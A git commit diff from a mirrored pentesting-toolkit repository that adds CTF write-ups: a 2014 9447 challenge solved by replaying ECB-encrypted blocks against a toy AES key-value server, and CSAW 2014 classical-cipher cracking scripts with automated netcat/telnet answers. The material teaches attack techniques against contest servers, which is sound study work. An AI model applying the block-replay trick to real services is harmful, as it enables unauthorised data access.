mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-28 11:36:08 -04:00
add the stuff floating from other machines
This commit is contained in:
parent
30e65244e2
commit
35788d79e2
57
.gitignore
vendored
57
.gitignore
vendored
@ -1,57 +0,0 @@
|
|||||||
# Byte-compiled / optimized / DLL files
|
|
||||||
__pycache__/
|
|
||||||
*.py[cod]
|
|
||||||
|
|
||||||
# C extensions
|
|
||||||
*.so
|
|
||||||
|
|
||||||
# Distribution / packaging
|
|
||||||
.Python
|
|
||||||
env/
|
|
||||||
build/
|
|
||||||
develop-eggs/
|
|
||||||
dist/
|
|
||||||
downloads/
|
|
||||||
eggs/
|
|
||||||
lib/
|
|
||||||
lib64/
|
|
||||||
parts/
|
|
||||||
sdist/
|
|
||||||
var/
|
|
||||||
*.egg-info/
|
|
||||||
.installed.cfg
|
|
||||||
*.egg
|
|
||||||
|
|
||||||
# PyInstaller
|
|
||||||
# Usually these files are written by a python script from a template
|
|
||||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
|
||||||
*.manifest
|
|
||||||
*.spec
|
|
||||||
|
|
||||||
# Installer logs
|
|
||||||
pip-log.txt
|
|
||||||
pip-delete-this-directory.txt
|
|
||||||
|
|
||||||
# Unit test / coverage reports
|
|
||||||
htmlcov/
|
|
||||||
.tox/
|
|
||||||
.coverage
|
|
||||||
.cache
|
|
||||||
nosetests.xml
|
|
||||||
coverage.xml
|
|
||||||
|
|
||||||
# Translations
|
|
||||||
*.mo
|
|
||||||
*.pot
|
|
||||||
|
|
||||||
# Django stuff:
|
|
||||||
*.log
|
|
||||||
|
|
||||||
# Sphinx documentation
|
|
||||||
docs/_build/
|
|
||||||
|
|
||||||
# PyBuilder
|
|
||||||
target/
|
|
||||||
|
|
||||||
# Shit
|
|
||||||
*~
|
|
@ -1,9 +0,0 @@
|
|||||||
language: python
|
|
||||||
python:
|
|
||||||
- "2.7"
|
|
||||||
# command to install dependencies
|
|
||||||
install: "pip install -r requirements.txt"
|
|
||||||
# command to run tests
|
|
||||||
script: nosetests
|
|
||||||
notifications:
|
|
||||||
email: false
|
|
BIN
IOCs/.DS_Store → CTFs_and_WarGames/.DS_Store
vendored
BIN
IOCs/.DS_Store → CTFs_and_WarGames/.DS_Store
vendored
Binary file not shown.
@ -1,8 +1,6 @@
|
|||||||
# Recon
|
# Recon
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Searching the Internets
|
### Searching the Internets
|
||||||
|
|
||||||
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
|
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
|
||||||
@ -29,6 +27,7 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin```
|
|||||||
- [redbot.org](https://redbot.org/)
|
- [redbot.org](https://redbot.org/)
|
||||||
- [shodan.io](https://www.shodan.io/)
|
- [shodan.io](https://www.shodan.io/)
|
||||||
- [censys.io](https://censys.io/)
|
- [censys.io](https://censys.io/)
|
||||||
|
|
||||||
-----------------
|
-----------------
|
||||||
[FireBug]: http://getfirebug.com/
|
[FireBug]: http://getfirebug.com/
|
||||||
[Burp Suite]: http://portswigger.net/burp/
|
[Burp Suite]: http://portswigger.net/burp/
|
||||||
|
213
CTFs_and_WarGames/CTFs_Writeups/9447/README.md
Normal file
213
CTFs_and_WarGames/CTFs_Writeups/9447/README.md
Normal file
@ -0,0 +1,213 @@
|
|||||||
|
# 9447's CTF 2014
|
||||||
|
|
||||||
|
## On Redis & AES Encryption
|
||||||
|
|
||||||
|
### The Client File
|
||||||
|
|
||||||
|
The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import os, socket, struct, sys
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
class EncryptedStream(object):
|
||||||
|
key = 'this is not the flag nor the key'[:16]
|
||||||
|
def __init__(self, host, port):
|
||||||
|
self.sock = socket.socket()
|
||||||
|
self.sock.connect((host, port))
|
||||||
|
def send(self, msg):
|
||||||
|
while len(msg) % 16:
|
||||||
|
msg += '\0'
|
||||||
|
iv = os.urandom(16)
|
||||||
|
aes = AES.new(self.key, AES.MODE_ECB, iv)
|
||||||
|
enc = aes.encrypt(msg)
|
||||||
|
self.sock.send(struct.pack('<I', len(enc)))
|
||||||
|
self.sock.send(enc)
|
||||||
|
def recv(self, nbytes):
|
||||||
|
return self.sock.recv(nbytes)
|
||||||
|
|
||||||
|
client = '''\
|
||||||
|
HELLO
|
||||||
|
SHOW VERSION
|
||||||
|
SET example This tiny script is basically a RedisStore...
|
||||||
|
GET example
|
||||||
|
SHOW KEYS
|
||||||
|
SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle
|
||||||
|
SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them
|
||||||
|
SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag
|
||||||
|
ENCRYPTION HEX
|
||||||
|
MD5 flag
|
||||||
|
'''
|
||||||
|
|
||||||
|
stream = EncryptedStream(sys.argv[1], int(sys.argv[2]))
|
||||||
|
stream.send(client)
|
||||||
|
while 1:
|
||||||
|
data = stream.recv(1000)
|
||||||
|
if not data: break
|
||||||
|
sys.stdout.write(data)
|
||||||
|
```
|
||||||
|
|
||||||
|
This client script makes [AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted packets for a given host and port (the arguments), with the class **EncryptedStream**. It then sends the packets and prints out any received stream.
|
||||||
|
|
||||||
|
The snippet also shows an example of a client packet, with some request options (which we will see the response later in the network dump).
|
||||||
|
|
||||||
|
|
||||||
|
### The Server File
|
||||||
|
|
||||||
|
The second file was the **server.py** script, which is a [Redis](http://redis.io/) like a database (hence, the *nosql* title). Unlike SQL databases, Redis *maps keys to types of values*. In this challenge, the idea was to recover an entry that had the key **flag** returning the value of the flag.
|
||||||
|
|
||||||
|
In the script below, besides creating this database, functions such as: **AES decrypting** (encryption), **MD5** (hashing), and **hex** (encoding) are implemented using Python's library:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import hashlib, os, signal, struct, sys
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
key = 'this is not the flag nor the key'[:16]
|
||||||
|
db = { }
|
||||||
|
|
||||||
|
def md5(data):
|
||||||
|
return hashlib.md5(data).digest()
|
||||||
|
|
||||||
|
def decrypt(data):
|
||||||
|
iv = os.urandom(16)
|
||||||
|
aes = AES.new(key, AES.MODE_ECB, iv)
|
||||||
|
data = aes.decrypt(data)
|
||||||
|
return data.rstrip('\0')
|
||||||
|
|
||||||
|
def reply_plain(message):
|
||||||
|
sys.stdout.write(message + '\n')
|
||||||
|
|
||||||
|
def reply_hex(message):
|
||||||
|
# This is totally encrypted, right?
|
||||||
|
sys.stdout.write(message.encode('hex') + '\n')
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global db
|
||||||
|
reply = reply_plain
|
||||||
|
|
||||||
|
datalen = struct.unpack('<I', sys.stdin.read(4))[0]
|
||||||
|
data = ''
|
||||||
|
while len(data) != datalen:
|
||||||
|
s = sys.stdin.read(1)
|
||||||
|
if not s:
|
||||||
|
sys.exit(1)
|
||||||
|
data += s
|
||||||
|
data = decrypt(data)
|
||||||
|
|
||||||
|
commands = data.split('\n')
|
||||||
|
|
||||||
|
for cmd in commands:
|
||||||
|
if not cmd:
|
||||||
|
continue
|
||||||
|
if ' ' in cmd:
|
||||||
|
cmd, args = cmd.split(' ', 1)
|
||||||
|
|
||||||
|
if cmd == 'HELLO':
|
||||||
|
reply('WELCOME')
|
||||||
|
elif cmd == 'SHOW':
|
||||||
|
if args == 'VERSION':
|
||||||
|
reply('NoRedisSQL v1.0')
|
||||||
|
elif args == 'KEYS':
|
||||||
|
reply(repr(db.keys()))
|
||||||
|
elif args == 'ME THE MONEY':
|
||||||
|
reply("Jerry, doesn't it make you feel good just to say that!")
|
||||||
|
else:
|
||||||
|
reply('u w0t m8')
|
||||||
|
elif cmd == 'SET':
|
||||||
|
key, value = args.split(' ', 1)
|
||||||
|
db[key] = value
|
||||||
|
reply('OK')
|
||||||
|
elif cmd == 'GET':
|
||||||
|
reply(args + ': ' + db.get(args, ''))
|
||||||
|
elif cmd == 'SNIPPET':
|
||||||
|
reply(db[args][:10] + '...')
|
||||||
|
elif cmd == 'MD5':
|
||||||
|
reply(md5(db.get(args, '')))
|
||||||
|
elif cmd == 'ENCRYPTION':
|
||||||
|
if args == 'HEX':
|
||||||
|
reply = reply_hex
|
||||||
|
reply('OK')
|
||||||
|
elif args == 'OFF':
|
||||||
|
reply = reply_plain
|
||||||
|
reply('OK')
|
||||||
|
else:
|
||||||
|
reply('u w0t m8')
|
||||||
|
else:
|
||||||
|
reply('Unknown command %r' % (cmd))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
signal.alarm(10)
|
||||||
|
signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0))
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
This script pretty much gives away all the requests that you can issue to inspect the database.
|
||||||
|
|
||||||
|
In addition, a crucial detail is to understand how the client encrypts the commands using the [electronic codebook (ECB)](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29) block cipher type. In this type of operation the message is divided into blocks that are encrypted separately ([PyCryptos's AES.MODE_ECB](https://www.dlitz.net/software/pycrypto/api/2.6/)).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### The PCAP File
|
||||||
|
|
||||||
|
The last file was a **pcap** dump. When opening it with [Wireshark](http://go.github.io/wiresharking-for-fun-or-profit.html), I verified it was really short, and the content was simply a [TCP handshake](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml). Right-clicking some packet and selecting *Follow TCP Stream* returned the dump of the connection suggested by the **client.py** script:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
However, we see that the database has already an entry for flag:
|
||||||
|
|
||||||
|
```
|
||||||
|
['flag', 'example']
|
||||||
|
```
|
||||||
|
|
||||||
|
The response **4f4b** is **OK** in ASCII, meaning that the switch **ENCRYPTION HEX** was on (it's good to keep in mind that the "encryption" is actually just an encoding in hex, *i.e*, completely reversible).
|
||||||
|
|
||||||
|
Finally, our MD5 for the flag was printed as **b7133e9fe8b1abb64b72805d2d97495f**.
|
||||||
|
|
||||||
|
As it was expected, searching for this hash in the usual channels (for example [here](http://hash-killer.com/), [here](http://www.md5this.com/), or [here](http://www.hashkiller.co.uk/)) was not successful: *brute force it is not the way to go*.
|
||||||
|
|
||||||
|
|
||||||
|
### Solving the Challenge
|
||||||
|
|
||||||
|
It's pretty clear from our **server.py** script that we could craft a direct request to the server to get our flag before it is hashed to MD5. For example, if the request *GET flag*,
|
||||||
|
|
||||||
|
```py
|
||||||
|
elif cmd == 'GET':
|
||||||
|
reply(args + ': ' + db.get(args, ''))
|
||||||
|
```
|
||||||
|
|
||||||
|
is exactly like *MD5 flag*, without the hashing:
|
||||||
|
|
||||||
|
```py
|
||||||
|
elif cmd == 'MD5':
|
||||||
|
reply(md5(db.get(args, '')))
|
||||||
|
```
|
||||||
|
|
||||||
|
However, we do not have the AES key used by the server, only an example of communication given by the PCAP file. How do we get to send a **GET flag** message?
|
||||||
|
|
||||||
|
The first thing that comes to our minds is to use the network dump to replay the message, re-shaping it somehow to have a *GET flag*. Remember that the blocks have a size of 16, and we see two blocks that are particularly interesting:
|
||||||
|
|
||||||
|
```
|
||||||
|
ION HEX
|
||||||
|
MD5 flag
|
||||||
|
```
|
||||||
|
|
||||||
|
and
|
||||||
|
|
||||||
|
```
|
||||||
|
edisStore...
|
||||||
|
GET
|
||||||
|
```
|
||||||
|
|
||||||
|
Now we check how the oracle responds to several types of responses:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ python client.py 54.148.249.150 4479
|
||||||
|
```
|
||||||
|
We are able to learn that if we send a **command without arguments** or an **invalid command**, the argument variables (*args*) is not overwritten: it gets the **same args value from the previous valid request**! That's wonderful!
|
||||||
|
|
||||||
|
Now the solution is clear:
|
||||||
|
|
||||||
|
1. We send the invalid command and a valid command with the argument that we will keep: ```ION HEX\nMD5 flag```.
|
||||||
|
2. We send the invalid command and command without an argument: ```edisStore...\nGET``` (this will get the last valid argument (*flag*), returning us the flag!).
|
||||||
|
|
@ -1,7 +1,6 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
__author__ = "bt3gl"
|
__author__ = "Mia Stein"
|
||||||
__email__ = "bt3gl@gmail.com"
|
|
||||||
|
|
||||||
import decimal
|
import decimal
|
||||||
import socket
|
import socket
|
@ -1,7 +1,6 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
__author__ = "bt3gl"
|
__author__ = "Mia Stein"
|
||||||
__email__ = "bt3gl@gmail.com"
|
|
||||||
|
|
||||||
|
|
||||||
import decimal
|
import decimal
|
@ -1,7 +1,6 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
__author__ = "bt3gl"
|
__author__ = "Mia Stein"
|
||||||
__email__ = "bt3gl@gmail.com"
|
|
||||||
|
|
||||||
|
|
||||||
import decimal
|
import decimal
|
@ -1,16 +1,6 @@
|
|||||||
Title: On Paillier, Binary Search, and the ASIS CTF 2014
|
# On Paillier, Binary Search, and the ASIS CTF 2014
|
||||||
Date: 2014-10-13 3:30
|
|
||||||
Category: Cryptography
|
|
||||||
Tags: CTF, Paillier, Python, Binary_Search, Oracle, Decimal
|
|
||||||
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
The [ASIS CTF] was last weekend. Although I ended up not playing all I wanted, I did spend some time working on a crypto challenge that was worth a lot of points in the game. The challenge was about a system I never heard about before, the [Paillier cryptosystem].
|
|
||||||
|
|
||||||
|
|
||||||
____
|
|
||||||
|
|
||||||
## The Cryptosystem
|
## The Cryptosystem
|
||||||
|
|
||||||
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
|
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
|
||||||
@ -392,19 +382,14 @@ ASIS_85c9febd4c15950ab1f19a6bd7a94f87
|
|||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Cool, right?
|
|
||||||
|
|
||||||
If you think so, all scripts I mentioned are [here].
|
|
||||||
|
|
||||||
Hack all the things!
|
|
||||||
|
|
||||||
|
|
||||||
----
|
----
|
||||||
|
|
||||||
[Paillier cryptosystem]: http://en.wikipedia.org/wiki/Paillier_cryptosystem
|
[Paillier cryptosystem]: http://en.wikipedia.org/wiki/Paillier_cryptosystem
|
||||||
[here]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier
|
[here]: https://github.com/go-outside-labs/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier
|
||||||
[modulo]: http://en.wikipedia.org/wiki/Modulo_operation
|
[modulo]: http://en.wikipedia.org/wiki/Modulo_operation
|
||||||
[oracle]: http://en.wikipedia.org/wiki/Oracle_machine
|
[oracle]: http://en.wikipedia.org/wiki/Oracle_machine
|
||||||
[ASIS CTF]: http://asis-ctf.ir/home/
|
[ASIS CTF]: http://asis-ctf.ir/home/
|
||||||
[Binary search]:http://en.wikipedia.org/wiki/Binary_search_algorithm
|
[Binary search]:http://en.wikipedia.org/wiki/Binary_search_algorithm
|
||||||
[my scripts]: https://github.com/bt3gl/Python-and-Algorithms-and-Data-Structures/tree/master/src/searching_and_sorting/searching
|
[my scripts]: https://github.com/go-outside-labs/Python-and-Algorithms-and-Data-Structures/tree/master/src/searching_and_sorting/searching
|
@ -0,0 +1,293 @@
|
|||||||
|
# CSAW CTF 2014 - Cryptography 200 - Psifer School
|
||||||
|
|
||||||
|
|
||||||
|
The problem starts with the following text:
|
||||||
|
|
||||||
|
> There's no heartbleed here. Why don't we use these ciphers?
|
||||||
|
>
|
||||||
|
> nc 54.209.5.48 12345
|
||||||
|
>
|
||||||
|
> Written by psifertex
|
||||||
|
|
||||||
|
|
||||||
|
------
|
||||||
|
|
||||||
|
## Stage One: Caesar Cipher
|
||||||
|
|
||||||
|
|
||||||
|
#### Connecting to the Server
|
||||||
|
|
||||||
|
We start typing the **netcat** command in the terminal:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
nc 54.209.5.48 12345
|
||||||
|
```
|
||||||
|
|
||||||
|
We get the following message back:
|
||||||
|
|
||||||
|
> Welcome to psifer school v0.002
|
||||||
|
>
|
||||||
|
> Your exam begins now. You have 10 seconds, work fast.
|
||||||
|
>
|
||||||
|
> Here is your first psifer text, a famous ancient roman would be proud if you solve it.
|
||||||
|
>
|
||||||
|
> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh**
|
||||||
|
>
|
||||||
|
>Time's up. Try again later.
|
||||||
|
|
||||||
|
This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it!
|
||||||
|
|
||||||
|
|
||||||
|
#### Frequency Analysis
|
||||||
|
The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*.
|
||||||
|
|
||||||
|
In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key.
|
||||||
|
|
||||||
|
To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values:
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
import string
|
||||||
|
|
||||||
|
def frequency(msg):
|
||||||
|
# Compute the word frequencies
|
||||||
|
dict_freq = dict([(c,0) for c in string.lowercase])
|
||||||
|
diff = 0.0
|
||||||
|
for c in msg.lower():
|
||||||
|
if 'a'<= c <= 'z':
|
||||||
|
diff += 1
|
||||||
|
dict_freq[c] += 1
|
||||||
|
list_freq = dict_freq.items()
|
||||||
|
list_freq.sort()
|
||||||
|
return [b / diff for (a, b) in list_freq]
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### Deciphering the Cipher
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Using a [well-known table of word frequency values], we write a snippet that does the following:
|
||||||
|
|
||||||
|
1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message.
|
||||||
|
2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key.
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
def delta(freq_word, freq_eng):
|
||||||
|
# zip together the value from the text and the value from FREQ
|
||||||
|
diff = 0.0
|
||||||
|
for a, b in zip(freq_word, freq_eng):
|
||||||
|
diff += abs(a - b)
|
||||||
|
return diff
|
||||||
|
|
||||||
|
def decipher(msg):
|
||||||
|
# Decipher by frequency
|
||||||
|
min_delta, best_rotation = 20, 0.0
|
||||||
|
freq = frequency(msg)
|
||||||
|
for key in range(26):
|
||||||
|
d = delta(freq[key:] + freq[:key], FREQ_ENGLISH)
|
||||||
|
if d < min_delta:
|
||||||
|
min_delta = d
|
||||||
|
best_rotation = key
|
||||||
|
return cipher(msg, -best_rotation)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations:
|
||||||
|
|
||||||
|
1. We start getting the integer representing the [Unicode] code point of the character.
|
||||||
|
2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97).
|
||||||
|
3. We add the key value to it to get the (absolute) shift position.
|
||||||
|
4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table.
|
||||||
|
5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher.
|
||||||
|
6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message.
|
||||||
|
|
||||||
|
```python
|
||||||
|
def cipher(msg, key):
|
||||||
|
# Make the cipher
|
||||||
|
dec = ''
|
||||||
|
for c in msg.lower():
|
||||||
|
if 'a' <= c <= 'z':
|
||||||
|
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
|
||||||
|
else:
|
||||||
|
dec += c
|
||||||
|
return dec
|
||||||
|
```
|
||||||
|
|
||||||
|
Bingo! The snippets above lead us to our first answer in this problem:
|
||||||
|
|
||||||
|
> the answer to this stage is **supersimple**
|
||||||
|
|
||||||
|
Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### Automating the Response
|
||||||
|
|
||||||
|
To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script.
|
||||||
|
|
||||||
|
We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from telnetlib import Telnet
|
||||||
|
|
||||||
|
PORT = 12345
|
||||||
|
HOST = '54.209.5.48'
|
||||||
|
|
||||||
|
tn = Telnet(HOST ,PORT)
|
||||||
|
```
|
||||||
|
|
||||||
|
In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF.
|
||||||
|
|
||||||
|
To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string.
|
||||||
|
|
||||||
|
|
||||||
|
As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well:
|
||||||
|
|
||||||
|
```python
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.connect(HOST)
|
||||||
|
```
|
||||||
|
|
||||||
|
Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types.
|
||||||
|
|
||||||
|
To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### Decrypting and Sending the Answer
|
||||||
|
Now, back to our problem. After creating the telnet connection, we read whatever comes in:
|
||||||
|
```python
|
||||||
|
tn.read_until(b'psifer text: ')
|
||||||
|
```
|
||||||
|
|
||||||
|
We decode and decrypt the text, and then encode it again:
|
||||||
|
```python
|
||||||
|
msg_in1 = tn.read_until(b'\n').decode().strip()
|
||||||
|
dec_msg_in1 = decipher(msg_in1)
|
||||||
|
answer1 = dec_msg_in1.split()[-1].encode() + b'\n'
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, we send our answer to the telnet session (the same answer obtained before):
|
||||||
|
```python
|
||||||
|
tn.write(answer1)
|
||||||
|
```
|
||||||
|
|
||||||
|
-----------------------------------------
|
||||||
|
|
||||||
|
## Stage Two: Offset with Special Characters
|
||||||
|
|
||||||
|
The second stage starts with the following message:
|
||||||
|
|
||||||
|
|
||||||
|
> Congratulations, you have solved stage 1. You have 9 seconds left.
|
||||||
|
>
|
||||||
|
> Now it's time for something slightly more difficult. Hint, everybody knows it's
|
||||||
|
> not length that matters.
|
||||||
|
|
||||||
|
Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters):
|
||||||
|
|
||||||
|
```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h```
|
||||||
|
|
||||||
|
|
||||||
|
To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps:
|
||||||
|
|
||||||
|
1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem.
|
||||||
|
|
||||||
|
2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems.
|
||||||
|
|
||||||
|
3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop.
|
||||||
|
|
||||||
|
4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine!
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
def solve2(msg):
|
||||||
|
# Shift cypher, but dealing with special characters
|
||||||
|
for j in range(2, len(msg)):
|
||||||
|
|
||||||
|
dec_msg = ['0'] * len(msg)
|
||||||
|
idec_msg, shift = 0, 0
|
||||||
|
|
||||||
|
for i in range(len(msg)):
|
||||||
|
dec_msg[idec_msg] = msg[i]
|
||||||
|
idec_msg += j
|
||||||
|
|
||||||
|
if idec_msg > len(msg) - 1:
|
||||||
|
shift += 1
|
||||||
|
idec_msg = shift
|
||||||
|
dec_msg = "".join(dec_msg)
|
||||||
|
|
||||||
|
if "you" not in dec_msg: continue
|
||||||
|
return dec_msg
|
||||||
|
```
|
||||||
|
|
||||||
|
After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket:
|
||||||
|
|
||||||
|
> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Stage Three: Vigenere Cipher
|
||||||
|
|
||||||
|
The next message lets us know that we are close to the end:
|
||||||
|
|
||||||
|
> Congratulations, you have solved stage 2. You have 9 seconds left.
|
||||||
|
> Last one.
|
||||||
|
|
||||||
|
And comes with the following cipher:
|
||||||
|
```
|
||||||
|
MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers).
|
||||||
|
|
||||||
|
Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def solve3(msg):
|
||||||
|
key = VigCrack(msg).crack_codeword()
|
||||||
|
dec_msg = VigCrack(msg).crack_message()
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return key, dec_msg
|
||||||
|
```
|
||||||
|
|
||||||
|
This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get:
|
||||||
|
|
||||||
|
```
|
||||||
|
